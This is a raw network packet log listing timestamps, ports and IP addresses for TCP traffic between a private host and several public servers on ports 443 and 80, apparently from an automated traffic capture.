Nov 18, 2024 13:29:17.562903881 CET	443	49728	184.28.90.27	192.168.2.8
Nov 18, 2024 13:29:17.608216047 CET	49729	443	192.168.2.8	184.28.90.27
Nov 18, 2024 13:29:17.608266115 CET	443	49729	184.28.90.27	192.168.2.8
Nov 18, 2024 13:29:17.608352900 CET	49729	443	192.168.2.8	184.28.90.27
Nov 18, 2024 13:29:17.608722925 CET	49729	443	192.168.2.8	184.28.90.27
Nov 18, 2024 13:29:17.608736992 CET	443	49729	184.28.90.27	192.168.2.8
Nov 18, 2024 13:29:17.735992908 CET	80	49727	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:17.736064911 CET	49727	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:18.448834896 CET	443	49729	184.28.90.27	192.168.2.8
Nov 18, 2024 13:29:18.448947906 CET	49729	443	192.168.2.8	184.28.90.27
Nov 18, 2024 13:29:18.452075005 CET	49729	443	192.168.2.8	184.28.90.27
Nov 18, 2024 13:29:18.452095985 CET	443	49729	184.28.90.27	192.168.2.8
Nov 18, 2024 13:29:18.452450037 CET	443	49729	184.28.90.27	192.168.2.8
Nov 18, 2024 13:29:18.455096006 CET	49729	443	192.168.2.8	184.28.90.27
Nov 18, 2024 13:29:18.495341063 CET	443	49729	184.28.90.27	192.168.2.8
Nov 18, 2024 13:29:18.696701050 CET	443	49729	184.28.90.27	192.168.2.8
Nov 18, 2024 13:29:18.696772099 CET	443	49729	184.28.90.27	192.168.2.8
Nov 18, 2024 13:29:18.696930885 CET	49729	443	192.168.2.8	184.28.90.27
Nov 18, 2024 13:29:18.722122908 CET	49729	443	192.168.2.8	184.28.90.27
Nov 18, 2024 13:29:18.722157955 CET	443	49729	184.28.90.27	192.168.2.8
Nov 18, 2024 13:29:18.722547054 CET	49729	443	192.168.2.8	184.28.90.27
Nov 18, 2024 13:29:18.722556114 CET	443	49729	184.28.90.27	192.168.2.8
Nov 18, 2024 13:29:21.189162016 CET	49734	443	192.168.2.8	94.245.104.56
Nov 18, 2024 13:29:21.189224958 CET	443	49734	94.245.104.56	192.168.2.8
Nov 18, 2024 13:29:21.189275980 CET	49734	443	192.168.2.8	94.245.104.56
Nov 18, 2024 13:29:21.190531969 CET	49734	443	192.168.2.8	94.245.104.56
Nov 18, 2024 13:29:21.190543890 CET	443	49734	94.245.104.56	192.168.2.8
Nov 18, 2024 13:29:22.275290966 CET	443	49734	94.245.104.56	192.168.2.8
Nov 18, 2024 13:29:22.275547981 CET	49734	443	192.168.2.8	94.245.104.56
Nov 18, 2024 13:29:22.275566101 CET	443	49734	94.245.104.56	192.168.2.8
Nov 18, 2024 13:29:22.276613951 CET	443	49734	94.245.104.56	192.168.2.8
Nov 18, 2024 13:29:22.276671886 CET	49734	443	192.168.2.8	94.245.104.56
Nov 18, 2024 13:29:22.280349016 CET	49734	443	192.168.2.8	94.245.104.56
Nov 18, 2024 13:29:22.280441999 CET	443	49734	94.245.104.56	192.168.2.8
Nov 18, 2024 13:29:22.282434940 CET	49734	443	192.168.2.8	94.245.104.56
Nov 18, 2024 13:29:22.282440901 CET	443	49734	94.245.104.56	192.168.2.8
Nov 18, 2024 13:29:22.332151890 CET	49738	443	192.168.2.8	40.126.31.69
Nov 18, 2024 13:29:22.332192898 CET	443	49738	40.126.31.69	192.168.2.8
Nov 18, 2024 13:29:22.332328081 CET	49738	443	192.168.2.8	40.126.31.69
Nov 18, 2024 13:29:22.333822012 CET	49738	443	192.168.2.8	40.126.31.69
Nov 18, 2024 13:29:22.333834887 CET	443	49738	40.126.31.69	192.168.2.8
Nov 18, 2024 13:29:22.405073881 CET	49734	443	192.168.2.8	94.245.104.56
Nov 18, 2024 13:29:22.521455050 CET	443	49734	94.245.104.56	192.168.2.8
Nov 18, 2024 13:29:22.525481939 CET	49734	443	192.168.2.8	94.245.104.56
Nov 18, 2024 13:29:22.525554895 CET	443	49734	94.245.104.56	192.168.2.8
Nov 18, 2024 13:29:22.525727034 CET	443	49734	94.245.104.56	192.168.2.8
Nov 18, 2024 13:29:22.525787115 CET	49734	443	192.168.2.8	94.245.104.56
Nov 18, 2024 13:29:22.525810957 CET	49734	443	192.168.2.8	94.245.104.56
Nov 18, 2024 13:29:22.901407003 CET	80	49727	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:22.901453018 CET	49727	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:23.416857958 CET	443	49738	40.126.31.69	192.168.2.8
Nov 18, 2024 13:29:23.416919947 CET	49738	443	192.168.2.8	40.126.31.69
Nov 18, 2024 13:29:23.812047958 CET	49745	443	192.168.2.8	142.250.185.161
Nov 18, 2024 13:29:23.812083006 CET	443	49745	142.250.185.161	192.168.2.8
Nov 18, 2024 13:29:23.812130928 CET	49745	443	192.168.2.8	142.250.185.161
Nov 18, 2024 13:29:23.812441111 CET	49745	443	192.168.2.8	142.250.185.161
Nov 18, 2024 13:29:23.812453985 CET	443	49745	142.250.185.161	192.168.2.8
Nov 18, 2024 13:29:23.823306084 CET	49738	443	192.168.2.8	40.126.31.69
Nov 18, 2024 13:29:23.823333025 CET	443	49738	40.126.31.69	192.168.2.8
Nov 18, 2024 13:29:23.823343039 CET	49727	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:23.823615074 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:23.823708057 CET	443	49738	40.126.31.69	192.168.2.8
Nov 18, 2024 13:29:23.825257063 CET	49738	443	192.168.2.8	40.126.31.69
Nov 18, 2024 13:29:23.825546980 CET	49738	443	192.168.2.8	40.126.31.69
Nov 18, 2024 13:29:23.825570107 CET	443	49738	40.126.31.69	192.168.2.8
Nov 18, 2024 13:29:23.828718901 CET	80	49727	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:23.829018116 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:23.829077005 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:23.855385065 CET	49753	443	192.168.2.8	18.244.18.27
Nov 18, 2024 13:29:23.855396032 CET	443	49753	18.244.18.27	192.168.2.8
Nov 18, 2024 13:29:23.855438948 CET	49753	443	192.168.2.8	18.244.18.27
Nov 18, 2024 13:29:23.855916977 CET	49753	443	192.168.2.8	18.244.18.27
Nov 18, 2024 13:29:23.855922937 CET	443	49753	18.244.18.27	192.168.2.8
Nov 18, 2024 13:29:23.863946915 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:23.863986969 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:23.868766069 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:23.868779898 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:23.868984938 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:23.869012117 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:24.182476997 CET	443	49738	40.126.31.69	192.168.2.8
Nov 18, 2024 13:29:24.182506084 CET	443	49738	40.126.31.69	192.168.2.8
Nov 18, 2024 13:29:24.182534933 CET	443	49738	40.126.31.69	192.168.2.8
Nov 18, 2024 13:29:24.182631969 CET	49738	443	192.168.2.8	40.126.31.69
Nov 18, 2024 13:29:24.182631969 CET	49738	443	192.168.2.8	40.126.31.69
Nov 18, 2024 13:29:24.182657957 CET	443	49738	40.126.31.69	192.168.2.8
Nov 18, 2024 13:29:24.184467077 CET	49738	443	192.168.2.8	40.126.31.69
Nov 18, 2024 13:29:24.184488058 CET	49738	443	192.168.2.8	40.126.31.69
Nov 18, 2024 13:29:24.184607983 CET	443	49738	40.126.31.69	192.168.2.8
Nov 18, 2024 13:29:24.184647083 CET	443	49738	40.126.31.69	192.168.2.8
Nov 18, 2024 13:29:24.184684038 CET	49738	443	192.168.2.8	40.126.31.69
Nov 18, 2024 13:29:24.305017948 CET	49760	443	192.168.2.8	40.126.31.69
Nov 18, 2024 13:29:24.305067062 CET	443	49760	40.126.31.69	192.168.2.8
Nov 18, 2024 13:29:24.305125952 CET	49760	443	192.168.2.8	40.126.31.69
Nov 18, 2024 13:29:24.305414915 CET	49760	443	192.168.2.8	40.126.31.69
Nov 18, 2024 13:29:24.305430889 CET	443	49760	40.126.31.69	192.168.2.8
Nov 18, 2024 13:29:24.664714098 CET	443	49745	142.250.185.161	192.168.2.8
Nov 18, 2024 13:29:24.665019035 CET	49745	443	192.168.2.8	142.250.185.161
Nov 18, 2024 13:29:24.665036917 CET	443	49745	142.250.185.161	192.168.2.8
Nov 18, 2024 13:29:24.665400028 CET	443	49745	142.250.185.161	192.168.2.8
Nov 18, 2024 13:29:24.665412903 CET	443	49745	142.250.185.161	192.168.2.8
Nov 18, 2024 13:29:24.665476084 CET	49745	443	192.168.2.8	142.250.185.161
Nov 18, 2024 13:29:24.665483952 CET	443	49745	142.250.185.161	192.168.2.8
Nov 18, 2024 13:29:24.667642117 CET	49745	443	192.168.2.8	142.250.185.161
Nov 18, 2024 13:29:24.667654037 CET	443	49745	142.250.185.161	192.168.2.8
Nov 18, 2024 13:29:24.669661999 CET	49745	443	192.168.2.8	142.250.185.161
Nov 18, 2024 13:29:24.669728994 CET	443	49745	142.250.185.161	192.168.2.8
Nov 18, 2024 13:29:24.670630932 CET	49745	443	192.168.2.8	142.250.185.161
Nov 18, 2024 13:29:24.699376106 CET	443	49753	18.244.18.27	192.168.2.8
Nov 18, 2024 13:29:24.700540066 CET	49753	443	192.168.2.8	18.244.18.27
Nov 18, 2024 13:29:24.700551987 CET	443	49753	18.244.18.27	192.168.2.8
Nov 18, 2024 13:29:24.701608896 CET	443	49753	18.244.18.27	192.168.2.8
Nov 18, 2024 13:29:24.701662064 CET	49753	443	192.168.2.8	18.244.18.27
Nov 18, 2024 13:29:24.702442884 CET	49753	443	192.168.2.8	18.244.18.27
Nov 18, 2024 13:29:24.702510118 CET	443	49753	18.244.18.27	192.168.2.8
Nov 18, 2024 13:29:24.711323023 CET	443	49745	142.250.185.161	192.168.2.8
Nov 18, 2024 13:29:24.811755896 CET	49753	443	192.168.2.8	18.244.18.27
Nov 18, 2024 13:29:24.811779022 CET	443	49753	18.244.18.27	192.168.2.8
Nov 18, 2024 13:29:24.871495008 CET	49745	443	192.168.2.8	142.250.185.161
Nov 18, 2024 13:29:24.871511936 CET	443	49745	142.250.185.161	192.168.2.8
Nov 18, 2024 13:29:24.913705111 CET	443	49745	142.250.185.161	192.168.2.8
Nov 18, 2024 13:29:24.915344954 CET	49745	443	192.168.2.8	142.250.185.161
Nov 18, 2024 13:29:24.915358067 CET	443	49745	142.250.185.161	192.168.2.8
Nov 18, 2024 13:29:24.917726994 CET	443	49745	142.250.185.161	192.168.2.8
Nov 18, 2024 13:29:24.919138908 CET	49745	443	192.168.2.8	142.250.185.161
Nov 18, 2024 13:29:24.919143915 CET	443	49745	142.250.185.161	192.168.2.8
Nov 18, 2024 13:29:24.927090883 CET	443	49745	142.250.185.161	192.168.2.8
Nov 18, 2024 13:29:24.927530050 CET	49745	443	192.168.2.8	142.250.185.161
Nov 18, 2024 13:29:24.927536964 CET	443	49745	142.250.185.161	192.168.2.8
Nov 18, 2024 13:29:24.936173916 CET	443	49745	142.250.185.161	192.168.2.8
Nov 18, 2024 13:29:24.936403990 CET	49745	443	192.168.2.8	142.250.185.161
Nov 18, 2024 13:29:24.936409950 CET	443	49745	142.250.185.161	192.168.2.8
Nov 18, 2024 13:29:25.013314009 CET	49753	443	192.168.2.8	18.244.18.27
Nov 18, 2024 13:29:25.030479908 CET	443	49745	142.250.185.161	192.168.2.8
Nov 18, 2024 13:29:25.030533075 CET	443	49745	142.250.185.161	192.168.2.8
Nov 18, 2024 13:29:25.030635118 CET	49745	443	192.168.2.8	142.250.185.161
Nov 18, 2024 13:29:25.030646086 CET	443	49745	142.250.185.161	192.168.2.8
Nov 18, 2024 13:29:25.030798912 CET	49745	443	192.168.2.8	142.250.185.161
Nov 18, 2024 13:29:25.034913063 CET	443	49745	142.250.185.161	192.168.2.8
Nov 18, 2024 13:29:25.037075043 CET	443	49745	142.250.185.161	192.168.2.8
Nov 18, 2024 13:29:25.037293911 CET	49745	443	192.168.2.8	142.250.185.161
Nov 18, 2024 13:29:25.037301064 CET	443	49745	142.250.185.161	192.168.2.8
Nov 18, 2024 13:29:25.044044971 CET	443	49745	142.250.185.161	192.168.2.8
Nov 18, 2024 13:29:25.044199944 CET	49745	443	192.168.2.8	142.250.185.161
Nov 18, 2024 13:29:25.044208050 CET	443	49745	142.250.185.161	192.168.2.8
Nov 18, 2024 13:29:25.053042889 CET	443	49745	142.250.185.161	192.168.2.8
Nov 18, 2024 13:29:25.053147078 CET	49745	443	192.168.2.8	142.250.185.161
Nov 18, 2024 13:29:25.053154945 CET	443	49745	142.250.185.161	192.168.2.8
Nov 18, 2024 13:29:25.147557974 CET	443	49745	142.250.185.161	192.168.2.8
Nov 18, 2024 13:29:25.147602081 CET	443	49745	142.250.185.161	192.168.2.8
Nov 18, 2024 13:29:25.147643089 CET	49745	443	192.168.2.8	142.250.185.161
Nov 18, 2024 13:29:25.147659063 CET	443	49745	142.250.185.161	192.168.2.8
Nov 18, 2024 13:29:25.147699118 CET	49745	443	192.168.2.8	142.250.185.161
Nov 18, 2024 13:29:25.151714087 CET	443	49745	142.250.185.161	192.168.2.8
Nov 18, 2024 13:29:25.153996944 CET	443	49745	142.250.185.161	192.168.2.8
Nov 18, 2024 13:29:25.154025078 CET	443	49745	142.250.185.161	192.168.2.8
Nov 18, 2024 13:29:25.154063940 CET	49745	443	192.168.2.8	142.250.185.161
Nov 18, 2024 13:29:25.154083014 CET	443	49745	142.250.185.161	192.168.2.8
Nov 18, 2024 13:29:25.154153109 CET	49745	443	192.168.2.8	142.250.185.161
Nov 18, 2024 13:29:25.160871029 CET	443	49745	142.250.185.161	192.168.2.8
Nov 18, 2024 13:29:25.170176983 CET	443	49745	142.250.185.161	192.168.2.8
Nov 18, 2024 13:29:25.170248985 CET	49745	443	192.168.2.8	142.250.185.161
Nov 18, 2024 13:29:25.170265913 CET	443	49745	142.250.185.161	192.168.2.8
Nov 18, 2024 13:29:25.223717928 CET	443	49745	142.250.185.161	192.168.2.8
Nov 18, 2024 13:29:25.223758936 CET	443	49745	142.250.185.161	192.168.2.8
Nov 18, 2024 13:29:25.223800898 CET	49745	443	192.168.2.8	142.250.185.161
Nov 18, 2024 13:29:25.223814011 CET	443	49745	142.250.185.161	192.168.2.8
Nov 18, 2024 13:29:25.223855019 CET	49745	443	192.168.2.8	142.250.185.161
Nov 18, 2024 13:29:25.245424032 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:25.245502949 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:25.264256954 CET	443	49745	142.250.185.161	192.168.2.8
Nov 18, 2024 13:29:25.268517017 CET	443	49745	142.250.185.161	192.168.2.8
Nov 18, 2024 13:29:25.268569946 CET	49745	443	192.168.2.8	142.250.185.161
Nov 18, 2024 13:29:25.268584013 CET	443	49745	142.250.185.161	192.168.2.8
Nov 18, 2024 13:29:25.270807028 CET	443	49745	142.250.185.161	192.168.2.8
Nov 18, 2024 13:29:25.270844936 CET	49745	443	192.168.2.8	142.250.185.161
Nov 18, 2024 13:29:25.270850897 CET	443	49745	142.250.185.161	192.168.2.8
Nov 18, 2024 13:29:25.286864042 CET	443	49745	142.250.185.161	192.168.2.8
Nov 18, 2024 13:29:25.286919117 CET	443	49745	142.250.185.161	192.168.2.8
Nov 18, 2024 13:29:25.286938906 CET	49745	443	192.168.2.8	142.250.185.161
Nov 18, 2024 13:29:25.286947966 CET	443	49745	142.250.185.161	192.168.2.8
Nov 18, 2024 13:29:25.287034035 CET	49745	443	192.168.2.8	142.250.185.161
Nov 18, 2024 13:29:25.289174080 CET	443	49745	142.250.185.161	192.168.2.8
Nov 18, 2024 13:29:25.340595961 CET	443	49745	142.250.185.161	192.168.2.8
Nov 18, 2024 13:29:25.343714952 CET	49745	443	192.168.2.8	142.250.185.161
Nov 18, 2024 13:29:25.343729019 CET	443	49745	142.250.185.161	192.168.2.8
Nov 18, 2024 13:29:25.359453917 CET	443	49760	40.126.31.69	192.168.2.8
Nov 18, 2024 13:29:25.359518051 CET	49760	443	192.168.2.8	40.126.31.69
Nov 18, 2024 13:29:25.382502079 CET	443	49745	142.250.185.161	192.168.2.8
Nov 18, 2024 13:29:25.382544041 CET	49745	443	192.168.2.8	142.250.185.161
Nov 18, 2024 13:29:25.382550001 CET	443	49745	142.250.185.161	192.168.2.8
Nov 18, 2024 13:29:25.385564089 CET	443	49745	142.250.185.161	192.168.2.8
Nov 18, 2024 13:29:25.385606050 CET	49745	443	192.168.2.8	142.250.185.161
Nov 18, 2024 13:29:25.385611057 CET	443	49745	142.250.185.161	192.168.2.8
Nov 18, 2024 13:29:25.386786938 CET	49760	443	192.168.2.8	40.126.31.69
Nov 18, 2024 13:29:25.386805058 CET	443	49760	40.126.31.69	192.168.2.8
Nov 18, 2024 13:29:25.387089968 CET	443	49760	40.126.31.69	192.168.2.8
Nov 18, 2024 13:29:25.387841940 CET	443	49745	142.250.185.161	192.168.2.8
Nov 18, 2024 13:29:25.387864113 CET	49760	443	192.168.2.8	40.126.31.69
Nov 18, 2024 13:29:25.387882948 CET	49745	443	192.168.2.8	142.250.185.161
Nov 18, 2024 13:29:25.387887955 CET	443	49745	142.250.185.161	192.168.2.8
Nov 18, 2024 13:29:25.387931108 CET	49760	443	192.168.2.8	40.126.31.69
Nov 18, 2024 13:29:25.387948990 CET	443	49760	40.126.31.69	192.168.2.8
Nov 18, 2024 13:29:25.403996944 CET	443	49745	142.250.185.161	192.168.2.8
Nov 18, 2024 13:29:25.404066086 CET	443	49745	142.250.185.161	192.168.2.8
Nov 18, 2024 13:29:25.404123068 CET	49745	443	192.168.2.8	142.250.185.161
Nov 18, 2024 13:29:25.404129028 CET	443	49745	142.250.185.161	192.168.2.8
Nov 18, 2024 13:29:25.404156923 CET	49745	443	192.168.2.8	142.250.185.161
Nov 18, 2024 13:29:25.405503988 CET	443	49745	142.250.185.161	192.168.2.8
Nov 18, 2024 13:29:25.457161903 CET	443	49745	142.250.185.161	192.168.2.8
Nov 18, 2024 13:29:25.457199097 CET	443	49745	142.250.185.161	192.168.2.8
Nov 18, 2024 13:29:25.457293034 CET	49745	443	192.168.2.8	142.250.185.161
Nov 18, 2024 13:29:25.457298994 CET	443	49745	142.250.185.161	192.168.2.8
Nov 18, 2024 13:29:25.457340956 CET	49745	443	192.168.2.8	142.250.185.161
Nov 18, 2024 13:29:25.497900009 CET	443	49745	142.250.185.161	192.168.2.8
Nov 18, 2024 13:29:25.502571106 CET	443	49745	142.250.185.161	192.168.2.8
Nov 18, 2024 13:29:25.502648115 CET	49745	443	192.168.2.8	142.250.185.161
Nov 18, 2024 13:29:25.502652884 CET	443	49745	142.250.185.161	192.168.2.8
Nov 18, 2024 13:29:25.504568100 CET	443	49745	142.250.185.161	192.168.2.8
Nov 18, 2024 13:29:25.504615068 CET	49745	443	192.168.2.8	142.250.185.161
Nov 18, 2024 13:29:25.504618883 CET	443	49745	142.250.185.161	192.168.2.8
Nov 18, 2024 13:29:25.520962000 CET	443	49745	142.250.185.161	192.168.2.8
Nov 18, 2024 13:29:25.520998955 CET	443	49745	142.250.185.161	192.168.2.8
Nov 18, 2024 13:29:25.521019936 CET	49745	443	192.168.2.8	142.250.185.161
Nov 18, 2024 13:29:25.521025896 CET	443	49745	142.250.185.161	192.168.2.8
Nov 18, 2024 13:29:25.521115065 CET	49745	443	192.168.2.8	142.250.185.161
Nov 18, 2024 13:29:25.522358894 CET	443	49745	142.250.185.161	192.168.2.8
Nov 18, 2024 13:29:25.574379921 CET	443	49745	142.250.185.161	192.168.2.8
Nov 18, 2024 13:29:25.574420929 CET	443	49745	142.250.185.161	192.168.2.8
Nov 18, 2024 13:29:25.574453115 CET	49745	443	192.168.2.8	142.250.185.161
Nov 18, 2024 13:29:25.574464083 CET	443	49745	142.250.185.161	192.168.2.8
Nov 18, 2024 13:29:25.574507952 CET	49745	443	192.168.2.8	142.250.185.161
Nov 18, 2024 13:29:25.615158081 CET	443	49745	142.250.185.161	192.168.2.8
Nov 18, 2024 13:29:25.616434097 CET	443	49745	142.250.185.161	192.168.2.8
Nov 18, 2024 13:29:25.616480112 CET	49745	443	192.168.2.8	142.250.185.161
Nov 18, 2024 13:29:25.616485119 CET	443	49745	142.250.185.161	192.168.2.8
Nov 18, 2024 13:29:25.621602058 CET	443	49745	142.250.185.161	192.168.2.8
Nov 18, 2024 13:29:25.621644020 CET	443	49745	142.250.185.161	192.168.2.8
Nov 18, 2024 13:29:25.621660948 CET	49745	443	192.168.2.8	142.250.185.161
Nov 18, 2024 13:29:25.621665001 CET	443	49745	142.250.185.161	192.168.2.8
Nov 18, 2024 13:29:25.621701956 CET	49745	443	192.168.2.8	142.250.185.161
Nov 18, 2024 13:29:25.660295010 CET	443	49745	142.250.185.161	192.168.2.8
Nov 18, 2024 13:29:25.660371065 CET	443	49745	142.250.185.161	192.168.2.8
Nov 18, 2024 13:29:25.660424948 CET	443	49745	142.250.185.161	192.168.2.8
Nov 18, 2024 13:29:25.660442114 CET	49745	443	192.168.2.8	142.250.185.161
Nov 18, 2024 13:29:25.660448074 CET	443	49745	142.250.185.161	192.168.2.8
Nov 18, 2024 13:29:25.660480022 CET	49745	443	192.168.2.8	142.250.185.161
Nov 18, 2024 13:29:25.660583973 CET	443	49745	142.250.185.161	192.168.2.8
Nov 18, 2024 13:29:25.661739111 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:25.667490005 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:25.691068888 CET	443	49745	142.250.185.161	192.168.2.8
Nov 18, 2024 13:29:25.691132069 CET	49745	443	192.168.2.8	142.250.185.161
Nov 18, 2024 13:29:25.691137075 CET	443	49745	142.250.185.161	192.168.2.8
Nov 18, 2024 13:29:25.733289957 CET	443	49745	142.250.185.161	192.168.2.8
Nov 18, 2024 13:29:25.733335972 CET	443	49745	142.250.185.161	192.168.2.8
Nov 18, 2024 13:29:25.733344078 CET	49745	443	192.168.2.8	142.250.185.161
Nov 18, 2024 13:29:25.733350039 CET	443	49745	142.250.185.161	192.168.2.8
Nov 18, 2024 13:29:25.733386993 CET	49745	443	192.168.2.8	142.250.185.161
Nov 18, 2024 13:29:25.738548040 CET	443	49745	142.250.185.161	192.168.2.8
Nov 18, 2024 13:29:25.754822016 CET	443	49745	142.250.185.161	192.168.2.8
Nov 18, 2024 13:29:25.754865885 CET	443	49745	142.250.185.161	192.168.2.8
Nov 18, 2024 13:29:25.754883051 CET	49745	443	192.168.2.8	142.250.185.161
Nov 18, 2024 13:29:25.754889011 CET	443	49745	142.250.185.161	192.168.2.8
Nov 18, 2024 13:29:25.754925013 CET	49745	443	192.168.2.8	142.250.185.161
Nov 18, 2024 13:29:25.766736984 CET	443	49760	40.126.31.69	192.168.2.8
Nov 18, 2024 13:29:25.766771078 CET	443	49760	40.126.31.69	192.168.2.8
Nov 18, 2024 13:29:25.766828060 CET	443	49760	40.126.31.69	192.168.2.8
Nov 18, 2024 13:29:25.766856909 CET	49760	443	192.168.2.8	40.126.31.69
Nov 18, 2024 13:29:25.766871929 CET	443	49760	40.126.31.69	192.168.2.8
Nov 18, 2024 13:29:25.766880989 CET	49760	443	192.168.2.8	40.126.31.69
Nov 18, 2024 13:29:25.767170906 CET	49760	443	192.168.2.8	40.126.31.69
Nov 18, 2024 13:29:25.767285109 CET	49760	443	192.168.2.8	40.126.31.69
Nov 18, 2024 13:29:25.767349005 CET	443	49760	40.126.31.69	192.168.2.8
Nov 18, 2024 13:29:25.767380953 CET	443	49760	40.126.31.69	192.168.2.8
Nov 18, 2024 13:29:25.767474890 CET	49760	443	192.168.2.8	40.126.31.69
Nov 18, 2024 13:29:25.777245045 CET	443	49745	142.250.185.161	192.168.2.8
Nov 18, 2024 13:29:25.777347088 CET	443	49745	142.250.185.161	192.168.2.8
Nov 18, 2024 13:29:25.777385950 CET	443	49745	142.250.185.161	192.168.2.8
Nov 18, 2024 13:29:25.777394056 CET	49745	443	192.168.2.8	142.250.185.161
Nov 18, 2024 13:29:25.777403116 CET	443	49745	142.250.185.161	192.168.2.8
Nov 18, 2024 13:29:25.777443886 CET	49745	443	192.168.2.8	142.250.185.161
Nov 18, 2024 13:29:25.808023930 CET	443	49745	142.250.185.161	192.168.2.8
Nov 18, 2024 13:29:25.808130980 CET	443	49745	142.250.185.161	192.168.2.8
Nov 18, 2024 13:29:25.808171034 CET	49745	443	192.168.2.8	142.250.185.161
Nov 18, 2024 13:29:25.808171988 CET	443	49745	142.250.185.161	192.168.2.8
Nov 18, 2024 13:29:25.808182955 CET	443	49745	142.250.185.161	192.168.2.8
Nov 18, 2024 13:29:25.808243036 CET	49745	443	192.168.2.8	142.250.185.161
Nov 18, 2024 13:29:25.808252096 CET	443	49745	142.250.185.161	192.168.2.8
Nov 18, 2024 13:29:25.850366116 CET	443	49745	142.250.185.161	192.168.2.8
Nov 18, 2024 13:29:25.850435019 CET	49745	443	192.168.2.8	142.250.185.161
Nov 18, 2024 13:29:25.850441933 CET	443	49745	142.250.185.161	192.168.2.8
Nov 18, 2024 13:29:25.855961084 CET	443	49745	142.250.185.161	192.168.2.8
Nov 18, 2024 13:29:25.856036901 CET	443	49745	142.250.185.161	192.168.2.8
Nov 18, 2024 13:29:25.856069088 CET	49745	443	192.168.2.8	142.250.185.161
Nov 18, 2024 13:29:25.856076956 CET	443	49745	142.250.185.161	192.168.2.8
Nov 18, 2024 13:29:25.856116056 CET	49745	443	192.168.2.8	142.250.185.161
Nov 18, 2024 13:29:25.856122017 CET	443	49745	142.250.185.161	192.168.2.8
Nov 18, 2024 13:29:25.856143951 CET	443	49745	142.250.185.161	192.168.2.8
Nov 18, 2024 13:29:25.856190920 CET	49745	443	192.168.2.8	142.250.185.161
Nov 18, 2024 13:29:25.858409882 CET	49745	443	192.168.2.8	142.250.185.161
Nov 18, 2024 13:29:25.858424902 CET	443	49745	142.250.185.161	192.168.2.8
Nov 18, 2024 13:29:25.884671926 CET	49766	443	192.168.2.8	172.64.41.3
Nov 18, 2024 13:29:25.884721041 CET	443	49766	172.64.41.3	192.168.2.8
Nov 18, 2024 13:29:25.884809971 CET	49766	443	192.168.2.8	172.64.41.3
Nov 18, 2024 13:29:25.885119915 CET	49766	443	192.168.2.8	172.64.41.3
Nov 18, 2024 13:29:25.885133982 CET	443	49766	172.64.41.3	192.168.2.8
Nov 18, 2024 13:29:25.886146069 CET	49767	443	192.168.2.8	162.159.61.3
Nov 18, 2024 13:29:25.886188984 CET	443	49767	162.159.61.3	192.168.2.8
Nov 18, 2024 13:29:25.886244059 CET	49767	443	192.168.2.8	162.159.61.3
Nov 18, 2024 13:29:25.886404991 CET	49767	443	192.168.2.8	162.159.61.3
Nov 18, 2024 13:29:25.886414051 CET	443	49767	162.159.61.3	192.168.2.8
Nov 18, 2024 13:29:25.902015924 CET	49768	443	192.168.2.8	162.159.61.3
Nov 18, 2024 13:29:25.902050972 CET	443	49768	162.159.61.3	192.168.2.8
Nov 18, 2024 13:29:25.902139902 CET	49768	443	192.168.2.8	162.159.61.3
Nov 18, 2024 13:29:25.905070066 CET	49768	443	192.168.2.8	162.159.61.3
Nov 18, 2024 13:29:25.905087948 CET	443	49768	162.159.61.3	192.168.2.8
Nov 18, 2024 13:29:25.979223967 CET	49769	443	192.168.2.8	13.107.246.45
Nov 18, 2024 13:29:25.979257107 CET	443	49769	13.107.246.45	192.168.2.8
Nov 18, 2024 13:29:25.979331017 CET	49769	443	192.168.2.8	13.107.246.45
Nov 18, 2024 13:29:25.979511023 CET	49769	443	192.168.2.8	13.107.246.45
Nov 18, 2024 13:29:25.979521990 CET	443	49769	13.107.246.45	192.168.2.8
Nov 18, 2024 13:29:25.999727011 CET	49770	443	192.168.2.8	40.126.31.69
Nov 18, 2024 13:29:25.999773026 CET	443	49770	40.126.31.69	192.168.2.8
Nov 18, 2024 13:29:25.999852896 CET	49770	443	192.168.2.8	40.126.31.69
Nov 18, 2024 13:29:26.000071049 CET	49770	443	192.168.2.8	40.126.31.69
Nov 18, 2024 13:29:26.000083923 CET	443	49770	40.126.31.69	192.168.2.8
Nov 18, 2024 13:29:26.075234890 CET	49766	443	192.168.2.8	172.64.41.3
Nov 18, 2024 13:29:26.075814962 CET	49771	443	192.168.2.8	172.64.41.3
Nov 18, 2024 13:29:26.075849056 CET	443	49771	172.64.41.3	192.168.2.8
Nov 18, 2024 13:29:26.075907946 CET	49771	443	192.168.2.8	172.64.41.3
Nov 18, 2024 13:29:26.076275110 CET	49771	443	192.168.2.8	172.64.41.3
Nov 18, 2024 13:29:26.076284885 CET	443	49771	172.64.41.3	192.168.2.8
Nov 18, 2024 13:29:26.077073097 CET	49767	443	192.168.2.8	162.159.61.3
Nov 18, 2024 13:29:26.077220917 CET	49769	443	192.168.2.8	13.107.246.45
Nov 18, 2024 13:29:26.077369928 CET	49753	443	192.168.2.8	18.244.18.27
Nov 18, 2024 13:29:26.077534914 CET	443	49753	18.244.18.27	192.168.2.8
Nov 18, 2024 13:29:26.077580929 CET	49753	443	192.168.2.8	18.244.18.27
Nov 18, 2024 13:29:26.078809023 CET	49772	443	192.168.2.8	162.159.61.3
Nov 18, 2024 13:29:26.078824043 CET	443	49772	162.159.61.3	192.168.2.8
Nov 18, 2024 13:29:26.078879118 CET	49772	443	192.168.2.8	162.159.61.3
Nov 18, 2024 13:29:26.079236984 CET	49775	443	192.168.2.8	13.107.246.45
